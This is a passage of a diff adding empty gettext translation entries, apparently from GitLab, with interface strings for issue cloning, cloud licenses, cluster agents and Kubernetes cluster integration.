+msgid "Clone this issue"
+msgstr ""
+
+msgid "Clone with %{http_label}"
+msgstr ""
+
+msgid "Clone with %{protocol}"
+msgstr ""
+
+msgid "Clone with KRB5"
+msgstr ""
+
+msgid "Clone with SSH"
+msgstr ""
+
+msgid "CloneIssue|Cannot clone issue due to insufficient permissions!"
+msgstr ""
+
+msgid "CloneIssue|Cannot clone issue to target project as it is pending deletion."
+msgstr ""
+
+msgid "Cloned this issue to %{path_to_project}."
+msgstr ""
+
+msgid "Clones this issue, without comments, to %{project}."
+msgstr ""
+
+msgid "Close"
+msgstr ""
+
+msgid "Close %{issueType}"
+msgstr ""
+
+msgid "Close %{tabname}"
+msgstr ""
+
+msgid "Close design"
+msgstr ""
+
+msgid "Close epic"
+msgstr ""
+
+msgid "Close milestone"
+msgstr ""
+
+msgid "Close sidebar"
+msgstr ""
+
+msgid "Close this %{quick_action_target}"
+msgstr ""
+
+msgid "Closed"
+msgstr ""
+
+msgid "Closed %{epicTimeagoDate}"
+msgstr ""
+
+msgid "Closed epics"
+msgstr ""
+
+msgid "Closed issues"
+msgstr ""
+
+msgid "Closed this %{quick_action_target}."
+msgstr ""
+
+msgid "Closed: %{closed}"
+msgstr ""
+
+msgid "Closes this %{quick_action_target}."
+msgstr ""
+
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
+msgid "Cluster"
+msgstr ""
+
+msgid "Cluster Health"
+msgstr ""
+
+msgid "Cluster cache cleared."
+msgstr ""
+
+msgid "Cluster does not exist"
+msgstr ""
+
+msgid "Cluster is required for Stages::ClusterEndpointInserter"
+msgstr ""
+
+msgid "Cluster level"
+msgstr ""
+
+msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
+msgstr ""
+
+msgid "ClusterAgents|Access tokens"
+msgstr ""
+
+msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
+msgstr ""
+
+msgid "ClusterAgents|An error occurred while loading your agent"
+msgstr ""
+
+msgid "ClusterAgents|Configuration"
+msgstr ""
+
+msgid "ClusterAgents|Created by"
+msgstr ""
+
+msgid "ClusterAgents|Created by %{name} %{time}"
+msgstr ""
+
+msgid "ClusterAgents|Date created"
+msgstr ""
+
+msgid "ClusterAgents|Description"
+msgstr ""
+
+msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Last used"
+msgstr ""
+
+msgid "ClusterAgents|Learn how to create an agent access token"
+msgstr ""
+
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Name"
+msgstr ""
+
+msgid "ClusterAgents|Never"
+msgstr ""
+
+msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgstr ""
+
+msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "ClusterAgents|This agent has no tokens"
+msgstr ""
+
+msgid "ClusterAgents|Unknown user"
+msgstr ""
+
+msgid "ClusterAgents|You will need to create a token to connect to your agent"
+msgstr ""
+
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
+
+msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|%{title} uninstalled successfully."
+msgstr ""
+
+msgid "ClusterIntegration|%{title} updated successfully."
+msgstr ""
+
+msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
+msgstr ""
+
+msgid "ClusterIntegration|A service token scoped to %{code}kube-system%{end_code} with %{code}cluster-admin%{end_code} privileges."
+msgstr ""
+
+msgid "ClusterIntegration|API URL"
+msgstr ""
+
+msgid "ClusterIntegration|API URL should be a valid http/https url."
+msgstr ""
+
+msgid "ClusterIntegration|Add Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Add a Kubernetes cluster integration"
+msgstr ""
+
+msgid "ClusterIntegration|Adding a Kubernetes cluster to your group will automatically share the cluster across all your projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Adding a Kubernetes cluster will automatically share the cluster across all projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Adding an integration to your group will share the cluster across all your projects."
+msgstr ""
+
+msgid "ClusterIntegration|Adding an integration will share the cluster across all projects."
+msgstr ""
+
+msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
+msgstr ""
+
+msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|All data will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
+msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
+
+msgid "ClusterIntegration|Amazon EKS"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred when trying to contact the Google Cloud API. Please try again later."
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch project zones: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch your projects: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|An unknown error occurred while attempting to connect to Kubernetes."
+msgstr ""
+
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
+msgid "ClusterIntegration|Any running pipelines will be canceled."
+msgstr ""
+
+msgid "ClusterIntegration|Apply for credit"
+msgstr ""
+
+msgid "ClusterIntegration|Authenticate with AWS"
+msgstr ""
+
+msgid "ClusterIntegration|Authenticate with Amazon Web Services"
+msgstr ""
+
+msgid "ClusterIntegration|Authentication Error"
+msgstr ""
+
+msgid "ClusterIntegration|Base domain"
+msgstr ""
+
+msgid "ClusterIntegration|Blocking mode"
+msgstr ""
+
+msgid "ClusterIntegration|CA Certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
+msgid "ClusterIntegration|Cert-Manager"
+msgstr ""
+
+msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
+msgstr ""
+
+msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
+msgstr ""
+
+msgid "ClusterIntegration|Check your CA certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Check your cluster status"
+msgstr ""
+
+msgid "ClusterIntegration|Check your token"
+msgstr ""
+
+msgid "ClusterIntegration|Choose the %{linkStart}security group %{linkEnd} to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets."
+msgstr ""
+
+msgid "ClusterIntegration|Choose the %{linkStart}subnets %{linkEnd} in your VPC where your worker nodes will run."
+msgstr ""
+
+msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Choose which of your environments will use this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Clear cluster cache"
+msgstr ""
+
+msgid "ClusterIntegration|Clear the local cache of namespace and service accounts."
+msgstr ""
+
+msgid "ClusterIntegration|Cluster Region"
+msgstr ""
+
+msgid "ClusterIntegration|Cluster management project (alpha)"
+msgstr ""
+
+msgid "ClusterIntegration|Cluster name is required."
+msgstr ""
+
+msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
+msgstr ""
+
+msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Clusters connected with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect cluster with certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Connection Error"
+msgstr ""
+
+msgid "ClusterIntegration|Copy API URL"
+msgstr ""
+
+msgid "ClusterIntegration|Copy CA Certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Ingress Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Jupyter Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Knative Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Kubernetes cluster name"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load IAM roles"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load VPCs for the selected region"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load networks"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load security groups for the selected VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load subnets for the selected VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Create Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Create a provision role on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the account and external ID above. %{startMoreInfoLink}More information%{endLink}"
+msgstr ""
+
+msgid "ClusterIntegration|Create cluster on"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster on EKS"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster on GKE"
+msgstr ""
+
+msgid "ClusterIntegration|Creating Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Crossplane"
+msgstr ""
+
+msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
+msgstr ""
+
+msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
+msgstr ""
+
+msgid "ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
+msgstr ""
+
+msgid "ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Did you know?"
+msgstr ""
+
+msgid "ClusterIntegration|Elastic Kubernetes Service"
+msgstr ""
+
+msgid "ClusterIntegration|Elastic Stack"
+msgstr ""
+
+msgid "ClusterIntegration|Enable Cloud Run for Anthos"
+msgstr ""
+
+msgid "ClusterIntegration|Enable or disable GitLab's connection to your Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
+msgstr ""
+
+msgid "ClusterIntegration|Enabled stack"
+msgstr ""
+
+msgid "ClusterIntegration|Enter new Service Token"
+msgstr ""
+
+msgid "ClusterIntegration|Enter the details for your Amazon EKS Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Enter the details for your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Environment scope"
+msgstr ""
+
+msgid "ClusterIntegration|Environment scope is required."
+msgstr ""
+
+msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
+msgstr ""
+
+msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching machine types"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching projects"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching zones"
+msgstr ""
+
+msgid "ClusterIntegration|Fluentd"
+msgstr ""
+
+msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Agent managed clusters"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Container Network Policies"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Integration"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Runner"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab failed to authenticate."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab failed to connect to the cluster."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab-managed cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Global default"
+msgstr ""
+
+msgid "ClusterIntegration|Google Cloud Platform project"
+msgstr ""
+
+msgid "ClusterIntegration|Google GKE"
+msgstr ""
+
+msgid "ClusterIntegration|Google Kubernetes Engine"
+msgstr ""
+
+msgid "ClusterIntegration|Google Kubernetes Engine project"
+msgstr ""
+
+msgid "ClusterIntegration|Group cluster"
+msgstr ""
+
+msgid "ClusterIntegration|HTTP Error"
+msgstr ""
+
+msgid "ClusterIntegration|Helm release failed to install"
+msgstr ""
+
+msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|If you do not wish to delete all associated GitLab resources, you can simply remove the integration."
+msgstr ""
+
+msgid "ClusterIntegration|In order to view the health of your cluster, you must first install Prometheus in the Applications tab."
+msgstr ""
+
+msgid "ClusterIntegration|Ingress"
+msgstr ""
+
+msgid "ClusterIntegration|Ingress Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
+msgstr ""
+
+msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Instance cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Instance type"
+msgstr ""
+
+msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Integrate with a cluster certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Issuer Email"
+msgstr ""
+
+msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
+msgstr ""
+
+msgid "ClusterIntegration|Jupyter Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|JupyterHub"
+msgstr ""
+
+msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
+msgstr ""
+
+msgid "ClusterIntegration|Key pair name"
+msgstr ""
+
+msgid "ClusterIntegration|Knative"
+msgstr ""
+
+msgid "ClusterIntegration|Knative Domain Name:"
+msgstr ""
+
+msgid "ClusterIntegration|Knative Endpoint:"
+msgstr ""
+
+msgid "ClusterIntegration|Knative domain name was updated successfully."
+msgstr ""
+
+msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster is being created..."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster name"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster was successfully created."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes version"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes version not found"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about %{help_link_start_machine_type}machine types%{help_link_end} and %{help_link_start_pricing}pricing%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about %{help_link_start}zones%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about Kubernetes"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about group Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
+msgid "ClusterIntegration|Loading IAM Roles"
+msgstr ""
+
+msgid "ClusterIntegration|Loading Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Loading VPCs"
+msgstr ""
+
+msgid "ClusterIntegration|Loading instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Loading networks"
+msgstr ""
+
+msgid "ClusterIntegration|Loading security groups"
+msgstr ""
+
+msgid "ClusterIntegration|Loading subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Loading subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Logging mode"
+msgstr ""
+
+msgid "ClusterIntegration|Machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Make sure your API endpoint is correct"
+msgstr ""
+
+msgid "ClusterIntegration|Make sure your account %{link_to_requirements} to create Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
+msgstr ""
+
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
+msgid "ClusterIntegration|Namespace per environment"
+msgstr ""
+
+msgid "ClusterIntegration|No IAM Roles found"
+msgstr ""
+
+msgid "ClusterIntegration|No Key Pairs found"
+msgstr ""
+
+msgid "ClusterIntegration|No VPCs found"
+msgstr ""
+
+msgid "ClusterIntegration|No deployment cluster found for this job"
+msgstr ""
+
+msgid "ClusterIntegration|No deployment found for this job"
+msgstr ""
+
+msgid "ClusterIntegration|No instance type found"
+msgstr ""
+
+msgid "ClusterIntegration|No machine types matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|No networks found"
+msgstr ""
+
+msgid "ClusterIntegration|No projects found"
+msgstr ""
+
+msgid "ClusterIntegration|No projects matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|No security group found"
+msgstr ""
+
+msgid "ClusterIntegration|No subnet found"
+msgstr ""
+
+msgid "ClusterIntegration|No subnetworks found"
+msgstr ""
+
+msgid "ClusterIntegration|No zones matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|Node calculations use the Kubernetes Metrics API. Make sure your cluster has metrics installed"
+msgstr ""
+
+msgid "ClusterIntegration|Number of nodes"
+msgstr ""
+
+msgid "ClusterIntegration|Number of nodes must be a numerical value."
+msgstr ""
+
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
+
+msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
+msgstr ""
+
+msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
+msgstr ""
+
+msgid "ClusterIntegration|Project cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Project namespace (optional, unique)"
+msgstr ""
+
+msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
+msgstr ""
+
+msgid "ClusterIntegration|Prometheus"
+msgstr ""
+
+msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
+msgstr ""
+
+msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Provider details"
+msgstr ""
+
+msgid "ClusterIntegration|Provision Role ARN"
+msgstr ""
+
+msgid "ClusterIntegration|RBAC-enabled cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Read our %{linkStart}help page%{linkEnd} on Kubernetes cluster integration."
+msgstr ""
+
+msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
+msgstr ""
+
+msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Remove Kubernetes cluster integration"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration and resources"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration and resources?"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration?"
+msgstr ""
+
+msgid "ClusterIntegration|Remove this Kubernetes cluster's configuration from this project. This will not delete your actual Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
+msgstr ""
+
+msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
+msgstr ""
+
+msgid "ClusterIntegration|Request to begin installing failed"
+msgstr ""
+
+msgid "ClusterIntegration|Request to begin uninstalling failed"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Port"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Protocol"
+msgstr ""
+
+msgid "ClusterIntegration|Save changes"
+msgstr ""
+
+msgid "ClusterIntegration|Search IAM Roles"
+msgstr ""
+
+msgid "ClusterIntegration|Search Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Search VPCs"
+msgstr ""
+
+msgid "ClusterIntegration|Search domains"
+msgstr ""
+
+msgid "ClusterIntegration|Search instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Search machine types"
+msgstr ""
+
+msgid "ClusterIntegration|Search networks"
+msgstr ""
+
+msgid "ClusterIntegration|Search projects"
+msgstr ""
+
+msgid "ClusterIntegration|Search security groups"
+msgstr ""
+
+msgid "ClusterIntegration|Search subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Search subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Search zones"
+msgstr ""
+
+msgid "ClusterIntegration|Security group"
+msgstr ""
+
+msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to choose a security group"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to choose a subnet"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To use a new VPC, first create one on %{linkStart}Amazon Web Services %{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Select a network to choose a subnetwork"
+msgstr ""
+
+msgid "ClusterIntegration|Select a region to choose a Key Pair"
+msgstr ""
+
+msgid "ClusterIntegration|Select a region to choose a VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Select a stack to install Crossplane."
+msgstr ""
+
+msgid "ClusterIntegration|Select a zone to choose a network"
+msgstr ""
+
+msgid "ClusterIntegration|Select existing domain or use new"
+msgstr ""
+
+msgid "ClusterIntegration|Select machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Select project"
+msgstr ""
+
+msgid "ClusterIntegration|Select project and zone to choose machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Select project to choose zone"
+msgstr ""
+
+msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Select the region you want to create the new cluster in. Make sure you have access to this region for your role to be able to authenticate. If no region is selected, we will use %{codeStart}DEFAULT_REGION%{codeEnd}. Learn more about %{linkStart}Regions%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Select zone"
+msgstr ""
+
+msgid "ClusterIntegration|Select zone to choose machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Send Container Network Policies Logs"
+msgstr ""
+
+msgid "ClusterIntegration|Send Web Application Firewall Logs"
+msgstr ""
+
+msgid "ClusterIntegration|Service Token"
+msgstr ""
+
+msgid "ClusterIntegration|Service role"
+msgstr ""
+
+msgid "ClusterIntegration|Service token is required."
+msgstr ""
+
+msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
+msgstr ""
+
+msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong on our end."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while installing %{title}"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
+msgstr ""
+
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
+
+msgid "ClusterIntegration|Subnets"
+msgstr ""
+
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
+msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
+msgstr ""
+
+msgid "ClusterIntegration|The Kubernetes certificate used to authenticate to the cluster."
+msgstr ""
+
+msgid "ClusterIntegration|The URL used to access the Kubernetes API."
+msgstr ""
+
+msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
+msgstr ""
+
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
+msgstr ""
+
+msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
+msgstr ""
+
+msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
+msgstr ""
+
+msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
+msgstr ""
+
+msgid "ClusterIntegration|The region the new cluster will be created in. You must reauthenticate to change regions."
+msgstr ""
+
+msgid "ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid."
+msgstr ""
+
+msgid "ClusterIntegration|There was an HTTP error when connecting to your cluster."
+msgstr ""
+
+msgid "ClusterIntegration|This account must have permissions to create a Kubernetes cluster in the %{link_to_container_project} specified below"
+msgstr ""
+
+msgid "ClusterIntegration|This is necessary if your integration has become out of sync. The cache is repopulated during the next CI job that requires namespace and service accounts."
+msgstr ""
+
+msgid "ClusterIntegration|This is necessary to clear existing environment-namespace associations from clusters previously managed by GitLab."
+msgstr ""
+
+msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
+msgstr ""
+
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
